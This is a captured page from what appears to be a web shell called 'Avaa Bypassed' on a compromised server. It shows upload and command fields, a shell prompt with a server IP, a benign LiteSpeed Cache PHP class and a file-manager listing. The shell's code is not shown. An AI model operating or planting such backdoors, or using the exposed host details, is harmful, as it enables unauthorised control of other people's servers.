404

[ Avaa Bypassed ]




Upload:

Command:

elspacio@3.147.238.184: ~ $
<?php

/* * *********************************************
 * LiteSpeed Web Server Cache Manager
 *
 * @author LiteSpeed Technologies, Inc. (https://www.litespeedtech.com)
 * @copyright (c) 2019
 * @since 1.9
 * *******************************************
 */

namespace Lsc\Wp;

use \Lsc\Wp\LSCMException;

/**
 * @since 1.9
 */
class AjaxResponse
{

    /**
     * @since 1.9
     * @var AjaxResponse
     */
    protected static $instance;

    /**
     * @since 1.9
     * @var string
     */
    protected $ajaxContent;

    /**
     * @since 1.9
     * @var string
     */
    protected $headerContent;

    /**
     *
     * @since 1.9
     *
     * @param string  $ajaxContent
     * @param string  $headerContent
     */
    private function __construct()
    {

    }

    /**
     *
     * @since 1.9
     *
     * @return AjaxResponse
     */
    private static function me()
    {
        if ( self::$instance == null ) {
            self::$instance = new self();
        }

        return self::$instance;
    }

    /**
     *
     * @since 1.9
     *
     * @throws LSCMException
     */
    public static function outputAndExit()
    {
        $output = '';

        if ( self::$instance == null ) {
            throw new LSCMException('AjaxResponse object never created!');
        }

        $m = self::me();

        if ( !empty($m->headerContent) ) {
            $output .= "{$m->headerContent}\n\n";
        }

        $output .= $m->ajaxContent;

        ob_clean();
        echo $output;
        exit;
    }

    /**
     *
     * @since 1.9
     *
     * @param string $ajaxContent
     */
    public static function setAjaxContent( $ajaxContent )
    {
        self::me()->ajaxContent = $ajaxContent;
    }

    /**
     *
     * @since 1.9
     *
     * @param string $headerContent
     */
    public static function setHeaderContent( $headerContent )
    {
        self::me()->headerContent = $headerContent;
    }

}

Filemanager

Name Type Size Permission Actions
Context Folder 0775
Panel Folder 0775
ThirdParty Folder 0775
View Folder 0775
WpWrapper Folder 0775
AjaxResponse.php File 1.9 KB 0664
CliController.php File 40.77 KB 0664
DashNotifier.php File 9.89 KB 0664
LSCMException.php File 651 B 0664
LogEntry.php File 1.72 KB 0664
Logger.php File 17.95 KB 0664
PanelController.php File 50.98 KB 0664
PluginVersion.php File 21.91 KB 0664
RedefineGlobalFuncs.php File 865 B 0664
UserCommand.php File 28.72 KB 0664
Util.php File 18.19 KB 0664
WPCaller.php File 53.47 KB 0664
WPDashMsgs.php File 4.75 KB 0664
WPInstall.php File 16.79 KB 0664
WPInstallStorage.php File 32.21 KB 0664